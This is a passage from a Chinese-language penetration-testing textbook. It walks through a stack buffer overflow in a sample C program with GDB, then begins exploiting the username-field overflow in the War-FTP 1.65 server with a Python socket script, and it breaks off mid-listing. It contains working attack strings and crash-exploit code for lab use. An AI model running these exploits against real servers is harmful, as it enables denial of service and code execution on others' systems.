我们可以通过检查 EBP 来找到指向 main 栈帧底部（或最高地址）的 EBP，如此处所示，使用命令 x/1xw $ebp。

(gdb) **x/1xw $ebp**
0xbffff548:    0xbffff5b8
(gdb)

这个命令允许我们检查从 EBP 开始的一个十六进制字，以便找到 EBP 寄存器的内存位置和内容。根据输出，main的栈帧如下所示：

0xbffff540:    0xb7ff0f50    0xbffff560    0xbffff5b8

如你所见，这并没有什么复杂的，但话说回来，main 只是调用了另一个函数，然后打印了一行文本到屏幕；不需要做繁重的处理。

根据我们对栈的了解，我们可以预期，当我们让程序继续运行并调用 function1 时，main 的返回地址和 function1 的栈帧将被压入栈中。记住，栈是向低地址增长的，所以当我们在 function1 内部的下一个断点时，栈顶会位于一个更低的内存地址。回想一下，我们的下一个断点位于 function1 内部，即 strcpy 指令执行之前。使用 continue 命令让程序运行直到下一个断点，如示例 16-5 所示。

示例 16-5. strcpy 指令之前的断点

(gdb) **continue**
Continuing.

Breakpoint 2, function (str=0xbffff74c "AAAA") at overflowtest.c:10
10          strcpy(buffer, str);
(gdb) **x/16xw $esp**❶
0xbffff520:    0xb7f93849    0x08049ff4    0xbffff538    0x080482e8
0xbffff530:    0xb7fcfff4    0x08049ff4    0xbffff548    0x08048443
0xbffff540:    0xbffff74f    0xbffff560    0xbffff5b8    0xb7e8c685
0xbffff550:    0x08048470    0x08048340    0xbffff5b8    0xb7e8c685
(gdb) **x/1xw $ebp**❷
0xbffff538:    0xbffff548

使用 continue 命令运行程序直到下一个断点后，检查 ❶ 处的 ESP 和 ❷ 处的 EBP，以查看 function1 栈帧的内容。function1 的栈帧如下所示。

0xbffff520:    0xb7f93849    0x08049ff4    0xbffff538    0x080482e8
0xbffff530:    0xb7fcfff4    0x08049ff4    0xbffff548

function1 的栈帧比 main 的栈帧大一些。为局部变量 buffer 分配了一些内存，同时为 strcpy 提供了一些额外空间，但肯定没有足够的空间容纳 30 或 40 个 A 字符。回想上一个断点时，main 的栈帧从内存地址 0xbffff540 开始。根据我们对栈的了解，0x08048443，即 function1 栈帧和 main 栈帧之间的四字节内存地址，应该是 main 的返回地址。我们可以使用 disass 命令反汇编 main，如示例 16-6 所示，来查看 0x08048443 是如何出现的。

示例 16-6. main 函数的反汇编

(gdb) **disass main**
Dump of assembler code for function main:
0x08048422 <main+0>:     lea    0x4(%esp),%ecx
0x08048426 <main+4>:     and    $0xfffffff0,%esp
0x08048429 <main+7>:     pushl  -0x4(%ecx)
0x0804842c <main+10>:    push   %ebp
0x0804842d <main+11>:    mov    %esp,%ebp
0x0804842f <main+13>:    push   %ecx
0x08048430 <main+14>:    sub    $0x4,%esp
0x08048433 <main+17>:    mov    0x4(%ecx),%eax
0x08048436 <main+20>:    add    $0x4,%eax
0x08048439 <main+23>:    mov    (%eax),%eax
0x0804843b <main+25>:    mov    %eax,(%esp)
0x0804843e <main+28>:    call   0x8048408 <function1> ❶
0x08048443 <main+33>:    movl   $0x8048533,(%esp) ❷
0x0804844a <main+40>:    call   0x804832c <puts@plt>
0x0804844f <main+45>:    add    $0x4,%esp
0x08048452 <main+48>:    pop    %ecx
0x08048453 <main+49>:    pop    %ebp
0x08048454 <main+50>:    lea    -0x4(%ecx),%esp
0x08048457 <main+53>:    ret
End of assembler dump.

如果你不熟悉汇编代码，也不用担心。我们要找的指令以简单的英语呈现出来：在 0x0804843e ❶ 处，main 调用了 function1 的内存地址。因此可以推断，当 function1 执行完毕后（也就是我们的返回地址），下一个执行的指令将是列表中的下一条指令。果然，❷ 处的下一行显示了我们在栈上找到的返回地址。一切都像理论中说的那样。

让我们让程序继续运行，看看当我们的四个A字符被复制到缓冲区时内存发生了什么。在程序在第三个断点处暂停后，以通常的方式检查内存，正如示例 16-7 中所示。

示例 16-7. 在断点 3 处检查内存

(gdb) **continue**
Continuing.

Breakpoint 3, function (str=0xbffff74c "AAAA") at overflowtest.c:11
11    }
(gdb) **x/16xw $esp**
0xbffff520:    0xbffff533    0xbffff74c    0xbffff538    0x080482e8
0xbffff530:    0x41fcfff4    0x00414141❶   0xbffff500    0x08048443
0xbffff540:    0xbffff74c    0xbffff560    0xbffff5b8    0xb7e8c685
0xbffff550:    0x08048470    0x08048340    0xbffff5b8    0xb7e8c685
(gdb) **x/1xw $ebp**
0xbffff538:    0xbffff500

如图所示，我们仍然在function1内部，所以我们的栈帧位置没有变化。在function1的栈帧中，我们可以看到四个A字符 ❶，以十六进制表示为 41，后面跟着结束的空字节 00。它们恰好适应我们的五字符缓冲区，因此我们的返回地址仍然完好无损，当我们继续让程序运行时，一切都按预期工作，正如示例 16-8 所示。

示例 16-8. 程序正常结束。

(gdb) **continue**
Continuing.
Executed normally
Program exited with code 022.
(gdb)

果然，“程序正常执行”打印到屏幕上。

现在，让我们重新运行程序，这次使用过多的字符溢出缓冲区，看看内存中发生了什么。

在 GDB 中使程序崩溃

我们可以输入一串长长的A字符，或者让 Perl 脚本语言为我们生成这串字符，正如示例 16-9 中所示。（当我们尝试通过一个实际的内存地址劫持程序执行时，Perl 将非常有用，而不是让程序崩溃。）

示例 16-9. 以 30 个 A 作为参数运行程序

(gdb) **run $(perl -e 'print "A" x 30')** ❶
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 30')

Breakpoint 1, main (argc=2, argv=0xbffff5c4) at overflowtest.c:14
14        function(argv[1]);
(gdb) **x/16xw $esp**
0xbffff520:    0xb7ff0f50    0xbffff540    0xbffff598    0xb7e8c685
0xbffff530:    0x08048470    0x08048340    0xbffff598    0xb7e8c685
0xbffff540:    0x00000002    0xbffff5c4    0xbffff5d0    0xb7fe2b38
0xbffff550:    0x00000001    0x00000001    0x00000000    0x08048249
(gdb) **x/1xw $ebp**
0xbffff528:    0xbffff598
(gdb) **continue**

在这里，我们告诉 Perl 执行print命令生成一串 30 个A字符，并将结果作为参数传递给overflowtest ❶。当strcpy尝试将这么长的字符串放入我们五字符的缓冲区时，我们可以预期看到栈的部分内容被A字符覆盖。当我们到达第一个断点时，我们仍然在main中，一切看起来都正常。问题应该要等到第三个断点，strcpy执行时传入了过多的A字符。

注意

main的栈帧仍然是 12 个字节长，尽管它已经向栈上方移动了 32 个字节。这是由于命令行参数长度等的变化。因此，栈帧的大小会保持一致。

在我们进入真正有趣的部分之前，让我们在示例 16-10 的第二个断点处注意一件事。

示例 16-10. 在断点 2 处检查内存

Breakpoint 2, function (str=0xbffff735 'A' <repeats 30 times>)
    at overflowtest.c:10
10        strcpy(buffer, str);
(gdb) **x/16xw $esp**
0xbffff500:    0xb7f93849    0x08049ff4    0xbffff518    0x080482e8
0xbffff510:    0xb7fcfff4    0x08049ff4    0xbffff528    0x08048443❶
0xbffff520:    0xbffff735    0xbffff540    0xbffff598    0xb7e8c685
0xbffff530:    0x08048470    0x08048340    0xbffff598    0xb7e8c685
(gdb) **x/1xw $ebp**
0xbffff518:    0xbffff528
(gdb) **continue**
Continuing.

你可以看到这里function1的栈帧也上移了 32 个字节。还要注意，我们的返回地址仍然保存着内存地址0x08048443 ❶。尽管我们的栈帧有些变化，但内存中待执行的指令依然保持在原来的位置。

再次使用continue命令，继续到第三个断点。这是事情变得有趣的地方，参见示例 16-11。

示例 16-11：返回地址被A覆盖

Breakpoint 3, function (str=0x41414141 <Address 0x41414141 out of bounds>)
    at overflowtest.c:11
11    }
(gdb) **x/16xw $esp**
0xbffff500:    0xbffff513    0xbffff733    0xbffff518    0x080482e8
0xbffff510:    0x41fcfff4    0x41414141    0x41414141    0x41414141
0xbffff520:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff530:    0x08040041    0x08048340    0xbffff598    0xb7e8c685

(gdb) **continue**
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

让我们在第三个断点后再次查看内存，紧接着strcpy之后，但在function1返回main之前。这次，返回地址被A覆盖的位置在❶，而main的栈帧部分也被覆盖了。此时，程序已经没有恢复的希望了。

当function1返回时，程序尝试执行main的返回地址处的指令，但返回地址已被我们的A覆盖，导致程序在尝试执行内存地址41414141处的指令时发生预期的段错误。（在接下来的章节中，我们将讨论如何用其他内容替换返回地址，使程序跳转到我们自己的代码，而不是崩溃。）

控制 EIP

让程序崩溃本身很有意思，但作为漏洞开发者，我们的目标是，如果可能的话，劫持执行并让目标 CPU 代我们执行代码。也许通过操控崩溃，我们可以执行开发者本不打算执行的其他指令。

目前，当我们的程序尝试执行位于内存地址41414141的指令时，程序崩溃，因为该地址超出了范围。我们需要更改参数字符串，包含一个程序可以访问的有效内存地址。如果我们能将返回地址替换为另一个有效的内存位置，当function1返回时，我们应该能够劫持执行。也许开发者甚至在程序中留下了一些调试代码，我们可以用它来说明这个目的。（但我有点跑题了。）

为了重定向执行，我们首先需要确定返回地址被我们一长串* A *替换的位置。让我们回顾一下，当我们用四个字符的参数正常运行程序时，栈的情况，如下所示。

0xbffff520:    0xbffff533    0xbffff74c    0xbffff538    0x080482e8
0xbffff530:    0x41fcfff4    0x00414141❶  0xbffff500❷  0x08048443❸

我们可以看到四个A ❶是如何被复制到局部变量buffer中的。现在，回想一下，EBP ❷之后的四个字节包含了返回地址0x08048443 ❸。我们可以看到，在四个A之后，function1的栈帧中还有五个字节，这些字节位于返回地址之前。

从内存来看，合乎逻辑的是，如果我们给程序传递一个长度为 5 + 4 + 4 字节的参数，最后四个字节将覆盖返回地址。我们可以通过向程序传递九个A后跟四个B的参数来测试。如果程序在尝试执行内存地址42424242（B的十六进制表示）处的指令时崩溃，我们就知道我们正确地计算了偏移量。

我们可以再次使用 Perl 来帮助我们创建攻击字符串，如示例 16-12 所示。

示例 16-12. 使用新的攻击字符串启动程序

(gdb) **delete 1**
(gdb) **delete 2**
(gdb) **run $(perl -e 'print "A" x 9 . "B" x 4')**
The program being debugged has been started already.
Start it from the beginning? (y or n) **y**

Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "B" x 4')

在我们使用这个新参数运行程序之前，delete掉前两个断点，因为直到执行strcpy之后，我们的第三个断点才会让内存状态发生有趣的变化。

使用 Perl 启动程序，攻击字符串为九个A后跟四个B。由于程序在上次运行时崩溃，系统会询问是否从头开始。输入y表示是。当我们检查唯一剩下的断点时，内存状态如预期所示，如示例 16-13 所示。

示例 16-13. 用 Bs 覆盖返回地址

Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11    }
(gdb) **x/20xw $esp**
0xbffff510:    0xbffff523    0xbffff744    0xbffff528    0x080482e8
0xbffff520:    0x41fcfff4    0x41414141    0x41414141    0x42424242❶
0xbffff530:    0xbffff700    0xbffff550    0xbffff5a8    0xb7e8c685
0xbffff540:    0x08048470    0x08048340    0xbffff5a8    0xb7e8c685
0xbffff550:    0x00000002    0xbffff5d4    0xbffff5e0    0xb7fe2b38
(gdb) **continue**
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

在我们之前看到的返回地址（0x08048443）的位置，现在变成了0x42424242。如果我们让程序继续运行，就会看到它在尝试执行四个B的内存地址时崩溃❶。这再次越界了，但至少现在我们知道该把我们想执行的代码的地址放在哪里。

我们现在已经确定了攻击字符串中哪些四个字节覆盖了返回地址。记住，返回地址是在function1返回时加载到 EIP 寄存器中的。现在，我们只需找到一个比41414141或42424242更有趣的地方来发送执行。

劫持执行

我们已经确定了要在攻击字符串中覆盖返回地址的位置，但我们仍然需要放置一些内容。（这个例子相较于我们接下来会讨论的其他漏洞开发例子可能显得有些牵强，但它很好地说明了底层概念。）我们成功地利用程序中使用的strcpy函数来操控buffer变量，从而覆盖了其他内存地址，包括返回地址。

回顾我们源代码中的overflowtest.c，记得程序除了main和function1外，还包含了另一个函数。程序中的第一个函数，叫做overflowed，会向控制台打印“Execution Hijacked”，然后返回。当程序正常运行时，这个额外的函数从未被调用，但正如它的输出所暗示的那样，我们可以利用它来劫持执行。

回到调试器，如果我们能找到overflowed在内存中的起始位置，就应该能够将四个B替换为该内存地址，覆盖返回地址，并迫使程序执行开发者未曾预料到的指令。我们有源代码并且知道我们要找的函数名，所以这个任务很简单。我们只需反汇编overflowed并找出它在内存中的加载位置，如示例 16-14 所示。

示例 16-14. 反汇编 overflowed

  (gdb) **disass overflowed**
  Dump of assembler code for function overflowed:
❶ 0x080483f4 <overflowed+0>:     push   %ebp
  0x080483f5 <overflowed+1>:     mov    %esp,%ebp
  0x080483f7 <overflowed+3>:     sub    $0x8,%esp
  0x080483fa <overflowed+6>:     movl   $0x8048520,(%esp)
  0x08048401 <overflowed+13>:    call   0x804832c <puts@plt>
  0x08048406 <overflowed+18>:    leave
  0x08048407 <overflowed+19>:    ret
  End of assembler dump.
  (gdb)

如你所见，内存地址 0x80483f4 ❶ 保存着 overflowed 中的第一条指令。如果我们将程序重定向到这里，它将执行该函数中的所有指令。

注意

这不会给我们带来反向 shell 或将目标加入僵尸网络；它只会将“执行劫持”打印到屏幕上。我们将在接下来的三个章节的漏洞开发示例中，看到更刺激的执行劫持攻击。

我们可以使用 Perl 来帮助我们创建参数字符串，其中包含我们想要使用的内存地址的十六进制字节，以覆盖返回地址，如下所示。

(gdb) **run $(perl -e 'print "A" x 9 . "\x08\x04\x83\xf4"')**
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "\x08\x04\x83\xf4"')

这次，我们将四个 B 替换为 \x08\x04\x83\xf4，这应该会将执行流程重定向到 overflowed 的开头。但事情并没有按计划进行，如示例 16-15 所示。

示例 16-15. 返回地址字节被翻转

Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11    }
(gdb) **x/16xw $esp**
0xbffff510:    0xbffff523    0xbffff744    0xbffff528    0x080482e8
0xbffff520:    0x41fcfff4    0x41414141    0x41414141    0xf4830408❶
0xbffff530:    0xbffff700    0xbffff550    0xbffff5a8    0xb7e8c685
0xbffff540:    0x08048470    0x08048340    0xbffff5a8    0xb7e8c685
(gdb) **continue**
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xf4830408 in ?? ()

如你所见，我们按预期达到了断点，但当我们检查内存时，似乎遇到了一些问题。overflowed 中第一条指令的内存地址是 0x80483f4，但我们栈上的返回地址却是 0xf4830408 ❶。数字没有完全被反转，但字节顺序却是错误的。

回想一下，两个十六进制数字构成一个字节。当我们让程序继续运行时，收到另一个访问违规错误，因为它尝试在 0xf4830408 执行数据。我们知道程序崩溃是因为新的返回地址是错误的，所以让我们来看看这些字节到底是如何乱序的，以便修复这个问题。

字节序

当我第一次学习基本的漏洞开发时，我花了很多时间抓耳挠腮，想不通是什么原因让我的漏洞无法成功。我曾经遇到过这个问题，不幸的是，我在操作系统课上学到字节序时并没有认真听讲。

在 1726 年出版的小说《格列佛游记》中，乔纳森·斯威夫特的主人公格列佛在海上遭遇沉船事故，漂流到小人国岛。小人国与邻国布莱福斯库的关系紧张，原因是关于如何正确地打开鸡蛋的争执。在小人国，鸡蛋从小的一端裂开，而在布莱福斯库，鸡蛋从大的一端裂开。在计算机科学中，我们也有类似的争论，涉及字节顺序问题。大端序认为最重要的字节应当首先存储，而小端序则首先存储最不重要的字节。我们的 Ubuntu 虚拟机采用的是英特尔架构，属于小端序。为了适应小端架构，我们需要翻转内存地址中的字节顺序，如下所示。

(gdb) **run $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')**
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')

使用返回地址 \xf4\x83\x04\x08，并翻转字节顺序以适应我们的英特尔架构，修复了我们的问题，如示例 16-16 所示。

示例 16-16. 成功劫持执行

Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11    }
(gdb) **x/16xw $esp**
0xbffff510:    0xbffff523    0xbffff744    0xbffff528    0x080482e8
0xbffff520:    0x41fcfff4    0x41414141    0x41414141    0x080483f4
0xbffff530:    0xbffff700    0xbffff550    0xbffff5a8    0xb7e8c685
0xbffff540:    0x08048470    0x08048340    0xbffff5a8    0xb7e8c685

(gdb) **continue**
Continuing.
Execution Hijacked ❶

Program received signal SIGSEGV, Segmentation fault.
0xbffff700 in ?? ()
(gdb)

这次当我们触发断点时，我们的返回地址看起来是正确的。果然，当我们让程序继续执行时，控制台在❶处打印出“Execution Hijacked”，这意味着我们成功劫持了程序的执行并利用了缓冲区溢出漏洞。

为了在调试器外查看结果，我们从命令行运行overflowtest并传递一个包含新返回地址的参数，如下所示。

georgia@ubuntu:~$ **./overflowtest  $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')**
Execution Hijacked
Segmentation fault

注意，在overflowed函数返回后，当执行内存地址bffff700时，程序会因段错误崩溃。这个地址与返回地址后的栈上接下来的四个字节相同。回想一下内存是如何工作的，这就能解释了，但我们的“恶意”代码在崩溃前已经完全执行。在overflowed的栈帧从栈中弹出后，bffff700似乎取代了返回地址。我们直接将执行流转向overflowed，而没有进行正常的函数调用操作，比如保存返回地址。当overflowed的栈帧从栈中被卸载时，栈上的下一个内存地址被认为是返回地址，但这实际上只是main函数的栈帧的一部分，所以程序崩溃了。

你会如何增强攻击字符串以修复这个问题呢？没错，你可以在我们的攻击字符串中再添加四个字节，将执行流送回main中的原始返回地址。因为我们已经破坏了main的栈帧，可能仍然会遇到后续的问题，但我们可以实现我们的目标，让程序执行我们的代码。

总结

本章中，我们查看了一个简单的 C 程序，该程序存在缓冲区溢出漏洞（即使用了不安全的strcpy函数），并且没有检查数组边界，这使得我们可以写入相邻的内存。我们通过向命令行写入比程序预期更长的字符串来利用这个问题。我们通过覆盖一个函数的返回地址，用我们自己的值劫持了程序的执行。我们将执行流转到原程序中包含的另一个函数。

现在你已经看到了一个基于栈的溢出漏洞的基本示例，接下来我们将探讨一些更复杂的内容。在下一章中，我们的示例将集中在一个基于 Windows 的目标和一个实际的目标程序上。

第十七章. Windows 中的基于栈的缓冲区溢出

在本章中，我们将研究如何利用 Windows 平台 FTP 服务器的一个旧版本中的基于栈的缓冲区溢出问题。正如我们在第十六章中所做的那样，我们将尝试覆盖在调用函数时保存在栈上的返回指针，如图 16-3 中所示。当main函数调用function1时，下一条要执行的指令会被保存在栈上，并且会在栈中为function1添加栈帧。

function1的局部变量大小是在应用程序编译时确定并固定的。为这些局部变量“预留”的栈空间大小也是固定的。这种预留被称为栈缓冲区。如果我们在栈缓冲区中放入超过其容量的数据，就会导致缓冲区溢出。然后，我们可能会覆盖保存的返回地址，该地址位于栈缓冲区之后，并接管程序的执行控制。（有关此过程的详细回顾，请参见第十六章。）

在第一章中，我们在 Windows XP 目标机器上安装了 War-FTP 版本 1.65，但我们没有启动它。在之前的章节中，我们已经利用了 FileZilla FTP 服务器，如果你一直跟着教程走，那么这个 FTP 服务器仍然在运行。在我们使用 War-FTP 之前，需要通过 XAMPP 控制面板停止 FileZilla FTP 服务器。这将为 War-FTP 打开 TCP 端口 21。在 Windows XP 桌面上双击其图标打开 War-FTP（见图 17-1），然后点击 War-FTP 窗口左上角的闪电图标使其上线（见图 17-2）。

图 17-1. War-FTP 图标

搜索 War-FTP 的已知漏洞

在 Google 上搜索 War-FTP 1.65 的已知漏洞时，找到了以下关于SecurityFocus.com上的信息：

War-FTP 用户名基于栈的缓冲区溢出漏洞

War-FTP 容易受到基于栈的缓冲区溢出漏洞的影响，因为它在将用户提供的数据复制到大小不足的缓冲区时没有正确检查数据边界。

利用此问题可能导致拒绝服务条件，并在应用程序上下文中执行任意机器代码。

在第十六章中，我们通过提供的输入溢出了一个函数的局部变量，并将执行重定向到我们选择的内存位置。根据SecurityFocus.com提供的信息，看起来我们可以对 War-FTP 1.65 做类似的操作。在本章中，我们将手动利用 War-FTP 1.65 的基于堆栈的缓冲区溢出漏洞，该漏洞出现在 FTP 登录的用户名字段中。现在我们使用的是一个实际的程序，而不是示例代码，我们将学习更多关于编写实际漏洞利用的知识。例如，这一次我们不能简单地将执行重定向到另一个函数；相反，我们需要在攻击字符串中引入要执行的指令。

开始之前，确保 War-FTP 1.65 已经在你的 Windows XP 虚拟机上打开并运行。（如图 17-2 所示，GUI 左上角的闪电图标表示服务器正在监听传入的连接。）

我们要利用的问题特别危险，因为攻击者无需登录 FTP 服务器即可发起攻击。因此，我们无需向 FTP 服务器添加任何合法用户，攻击就能生效。

在我们深入并开始尝试利用 War-FTP 之前，让我们将它连接到调试器。Immunity Debugger 应该已经安装在你的 Windows XP 目标机器的桌面上，因为我们在第一章中安装过它。如果没有，请按照第一章中的说明来设置 Immunity Debugger 和 Mona 插件。像 GDB 一样，Immunity Debugger 将允许我们在尝试利用 War-FTP 时查看内存的内部结构。不幸的是，我们没有源代码来帮助我们成功利用漏洞，但通过在内存中观察程序并发送攻击字符串，我们仍然能够开发出一个有效的漏洞利用。

图 17-2. War-FTP 1.65 GUI

启动 Immunity Debugger，打开文件菜单，选择附加。我们想要将 Immunity Debugger 附加到正在运行的 War-FTP 进程，进程列表中显示了它，见图 17-3。高亮选择 War-FTP 1.65，然后点击附加。

图 17-3. Immunity Debugger 界面中的进程列表

当 Immunity Debugger 首次附加到一个进程时，它会暂停该进程的执行。如果在任何时候你的利用代码突然停止工作，请检查确保进程仍在运行。暂停的进程无法接收传入连接，正如你在 Immunity Debugger 窗口的右下角看到的图 17-4 中所示，进程处于暂停状态。点击屏幕左上角的播放按钮，让进程继续运行。

图 17-4. War-FTP 在 Immunity Debugger 中暂停。

在 Immunity Debugger 中运行 War-FTP 时，我们可以找出如何利用其缓冲区溢出漏洞。

导致崩溃

在第十九章中，我们将使用一种叫做 模糊测试 的技术来寻找程序中的潜在漏洞，但现在，按照我的指导，使用特定的攻击字符串来让程序崩溃。在 FTP 登录的用户名字段中，我们将发送一个包含 1,100 个 A 的字符串，而不是一个用户名。与我们在前一个示例中本地攻击程序不同，这次我们将在 Kali Linux 中创建我们的利用代码，并将其设置为通过网络与 FTP 服务器进行通信。示例 17-1 展示了一个初步的利用代码，能够导致 War-FTP 程序崩溃。

注意

我们的利用示例是用 Python 编写的，但如果你更愿意使用其他语言，它们很容易移植到其他语言中。

示例 17-1. Python 利用代码导致 War-FTP 崩溃

root@kali:~# cat ftpexploit
#!/usr/bin/python
import socket
buffer = "A" * 1100
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) ❶
connect=s.connect(('192.168.20.10',21)) ❶
response = s.recv(1024)
print response ❷
s.send('USER ' + buffer  + '\r\n') ❸
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()

在示例 17-1 中，我们首先导入了 socket Python 库。接下来，我们创建一个名为buffer的字符串，其中包含 1,100 个A，并在 ❶ 设置一个 socket 来连接到我们运行 War-FTP 服务器的 Windows XP 机器的 21 端口。然后，在 ❷ 处，我们接收并打印出 FTP 服务器的横幅信息。我们的利用代码接着发送 USER 命令，并用 1,100 个 A 作为用户名 ❸，希望导致 FTP 服务器崩溃。

如果服务器响应并请求我们的密码，利用代码准备好使用密码 PASSWORD 完成连接。然而，如果我们的利用成功了，即使我们的凭据有效也无关紧要，因为程序会在完成登录过程之前崩溃。最后，我们关闭我们的 socket，利用代码结束。确保 Python 脚本是可执行的，可以使用 chmod +x 命令，并按照下面的示例运行利用代码。

root@kali:~# chmod +x ftpexploit
root@kali:~# ./ftpexploit
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.

如同之前的示例一样，我们希望通过一串 A 字符来覆盖保存的返回地址并导致程序崩溃。War-FTP 服务器发送欢迎横幅，提示我们输入用户名，然后询问密码。查看 Immunity Debugger 中的 War-FTP，如图 17-5 所示，看看我们的利用是否成功导致崩溃。

图 17-5. 由于缓冲区溢出，War-FTP 崩溃。

在我们运行利用代码后，我们看到 War-FTP 因访问违规而暂停，并尝试在 41414141 处执行指令。根据我们在第十六章的 Linux 缓冲区溢出示例中学到的知识，这个结果应该是熟悉的。一个返回地址被我们的长 A 字符串覆盖，因此当函数返回时，41414141 被加载到 EIP 寄存器中。程序试图在该内存位置执行指令，而该位置超出边界并导致崩溃。

定位 EIP

如同之前的示例，我们需要知道我们字符串中的哪四个 A 字符正在覆盖返回地址。不幸的是，1,100 个 A 字符比我们在前一章使用的 30 个要多，所以在内存中逐个计数变得更加困难。此外，我们无法确定我们在堆栈上看到的第一个 A 字符是否是作为利用的一部分发送的第一个 A 字符。

传统上，下一步是再次通过输入 550 个 A 字符后接 550 个 B 字符来使程序崩溃。如果程序在 EIP 中出现 41414141，则表示返回地址在前 550 字节处发生了覆盖；如果程序在 EIP 中出现 42424242，则说明覆盖发生在后半部分。接下来，将问题字符串的那一半分为 275 个 A 字符后接 275 个 B 字符。通过这种缓慢但可靠的方法，可以逐步缩小确切位置。

生成循环模式以确定偏移量

幸运的是，我们可以使用 Mona 生成一个独特的循环模式，在仅一次迭代中找到返回地址覆盖的正确四个字节。要使用 Mona 完成此任务，请在 Immunity Debugger 窗口的底部输入 !mona pattern_create，并将长度设置为 1100，如图 17-6 所示。

图 17-6. 在 Mona 中使用 pattern_create

1,100 字符的循环模式被写入文件 C:\logs\war-ftpd\pattern.txt，如示例 17-2 所示。

示例 17-2. pattern_create 命令的输出

=============================================================================
  Output generated by mona.py v2.0, rev 451 - Immunity Debugger
  Corelan Team - https://www.corelan.be
=============================================================================
  OS : xp, release 5.1.2600
  Process being debugged : war-ftpd (pid 2416)
=============================================================================
  2015-11-10 11:03:32
=============================================================================

Pattern of 1100 bytes :
-----------------------

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1
Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7
Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3
Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9
An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5
Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1
As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7
Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3
Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5
Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1
Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7
Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3
Bk4Bk5Bk

我们将用在示例 17-2 中显示的唯一模式替换掉这一长串的* A *。但在再次运行漏洞利用之前，我们需要从上次崩溃中重新启动 War-FTP。在 Immunity 调试器中，点击调试 ▸ 重新启动，然后按下播放按钮并点击闪电图标，指示 War-FTP 开始监听网络。（每次 War-FTP 崩溃后需要重新启动时，都需要按照这些步骤进行。）或者，您可以关闭 Immunity 调试器，手动重新启动 War-FTP，然后将新进程附加到调试器中。将漏洞利用中的缓冲区值替换为示例 17-2 中的模式，并用引号将其括起来，使其成为 Python 中的字符串，如示例 17-3 所示。

注意

如果 War-FTP 因未知的用户数据库格式错误而拒绝重新启动，找到并删除 War-FTP 在桌面上创建的FtpDaemon.dat和/或FtpDaemon.ini文件。这应该能解决问题，War-FTP 应该能正常启动。

示例 17-3. 带有循环模式的漏洞利用

  root@kali:~# cat ftpexploit
  #!/usr/bin/python
  import socket
❶ buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
  Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8
  Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4
